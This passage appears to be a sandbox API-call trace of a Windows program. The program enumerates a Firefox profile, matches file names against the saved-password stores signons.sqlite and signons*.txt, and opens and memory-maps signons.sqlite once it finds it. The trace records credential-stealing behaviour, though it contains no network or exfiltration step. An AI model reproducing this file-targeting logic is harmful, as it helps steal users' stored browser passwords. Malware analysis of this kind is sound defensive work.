lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0071.054] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0071.054] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 109 [0071.054] lstrlenA (lpString="818200132aebmoouht") returned 18 [0071.054] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x626a88 [0071.054] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0071.054] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0071.054] LocalFree (hMem=0x65e540) returned 0x0 [0071.054] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 127 [0071.054] lstrlenA (lpString="\\*.*") returned 4 [0071.054] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x601890 [0071.054] lstrcpyA (in: lpString1=0x601890, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0071.054] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0071.054] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x12f60a | out: lpFindFileData=0x12f60a) returned 0x6427a8 [0071.054] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.054] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60a | out: lpFindFileData=0x12f60a) returned 1 [0071.055] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.055] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.055] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60a | out: lpFindFileData=0x12f60a) returned 0 [0071.055] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0071.055] LocalFree (hMem=0x601890) returned 0x0 [0071.055] LocalFree (hMem=0x626a88) returned 0x0 [0071.055] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 1 [0071.055] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.055] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0071.055] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0071.055] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.055] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.055] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f772 | out: lpFindFileData=0x12f772) returned 0 [0071.055] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.055] LocalFree (hMem=0x641518) returned 0x0 [0071.055] LocalFree (hMem=0x65e730) returned 0x0 [0071.055] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8da | out: lpFindFileData=0x12f8da) returned 0 [0071.055] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0071.055] LocalFree (hMem=0x65e638) returned 0x0 [0071.055] LocalFree (hMem=0x65e448) returned 0x0 [0071.055] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0071.055] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.055] LocalFree (hMem=0x65d330) returned 0x0 [0071.055] LocalFree (hMem=0x65b348) returned 0x0 [0071.055] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.056] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0071.056] lstrlenA (lpString="key3.db") returned 7 [0071.056] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0071.056] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0071.056] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0071.056] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.056] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0071.056] lstrlenA (lpString="localstore.rdf") returned 14 [0071.056] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0071.056] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0071.056] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0071.056] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.056] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0071.056] lstrlenA (lpString="marionette.log") returned 14 [0071.056] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0071.056] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0071.056] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0071.056] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.056] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0071.056] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0071.056] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0071.056] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0071.056] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0071.056] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.056] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0071.056] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0071.056] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.056] lstrlenA (lpString="\\") returned 1 [0071.056] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.056] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.056] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.056] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.056] lstrlenA (lpString="minidumps") returned 9 [0071.056] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0071.056] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.056] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0071.056] LocalFree (hMem=0x6275a8) returned 0x0 [0071.056] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned 84 [0071.056] lstrlenA (lpString="\\*.*") returned 4 [0071.056] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x65d330 [0071.056] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0071.056] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*" [0071.056] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0071.056] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.056] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0071.056] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.057] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.057] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0071.057] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.057] LocalFree (hMem=0x65d330) returned 0x0 [0071.057] LocalFree (hMem=0x65b348) returned 0x0 [0071.057] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.057] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0071.057] lstrlenA (lpString="parent.lock") returned 11 [0071.057] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0071.057] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.057] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.057] lstrlenA (lpString="permissions.sqlite") returned 18 [0071.057] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.057] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.057] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.057] lstrlenA (lpString="places.sqlite") returned 13 [0071.057] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.057] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.057] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0071.057] lstrlenA (lpString="pluginreg.dat") returned 13 [0071.057] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0071.057] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.057] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0071.057] lstrlenA (lpString="prefs.js") returned 8 [0071.057] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0071.057] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.057] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0071.057] lstrlenA (lpString="search.json") returned 11 [0071.057] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0071.057] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.057] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0071.057] lstrlenA (lpString="secmod.db") returned 9 [0071.057] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0071.057] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0071.058] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.058] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0071.058] lstrlenA (lpString="sessionstore.bak") returned 16 [0071.058] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0071.058] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0071.058] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0071.058] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.058] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0071.058] lstrlenA (lpString="sessionstore.js") returned 15 [0071.058] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0071.058] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0071.058] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0071.058] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.058] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0071.058] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.058] lstrlenA (lpString="\\") returned 1 [0071.058] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.058] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.058] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.058] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.058] lstrlenA (lpString="signons.sqlite") returned 14 [0071.058] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x65d330 [0071.058] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.058] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" [0071.058] LocalFree (hMem=0x6275a8) returned 0x0 [0071.058] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0071.058] CloseHandle (hObject=0x139) returned 1 [0071.058] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5b [0071.058] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x641518 [0071.058] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x641518, nSize=0x5b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned 0x5a [0071.058] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0071.058] CloseHandle (hObject=0x139) returned 1 [0071.058] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0071.059] GetFileSize (in: hFile=0x139, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0071.059] CreateFileMappingA (hFile=0x138, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x14c [0071.059] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x16d0000 [0071.061] UnmapViewOfFile (lpBaseAddress=0x16d0000) returned 1 [0071.064] CloseHandle (hObject=0x14c) returned 1 [0071.064] CloseHandle (hObject=0x138) returned 1 [0071.064] LocalFree (hMem=0x641518) returned 0x0 [0071.064] LocalFree (hMem=0x65d330) returned 0x0 [0071.064] lstrlenA (lpString="signons.sqlite") returned 14 [0071.064] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0071.064] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.064] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.064] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.064] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0071.064] lstrlenA (lpString="times.json") returned 10 [0071.064] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0071.064] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0071.064] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0071.064] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.064] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0071.064] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0071.064] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0071.064] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0071.064] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0071.064] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0071.064] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0071.064] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0071.064] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.064] lstrlenA (lpString="\\") returned 1 [0071.064] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.064] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.064] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.064] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.064] lstrlenA (lpString="webapps") returned 7 [0071.064] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b348 [0071.065] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.065] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0071.065] LocalFree (hMem=0x6275a8) returned 0x0 [0071.065] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned 82 [0071.065] lstrlenA (lpString="\\*.*") returned 4 [0071.065] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x65b428 [0071.065] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0071.065] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*" [0071.065] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0071.065] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.065] FindNextFileA 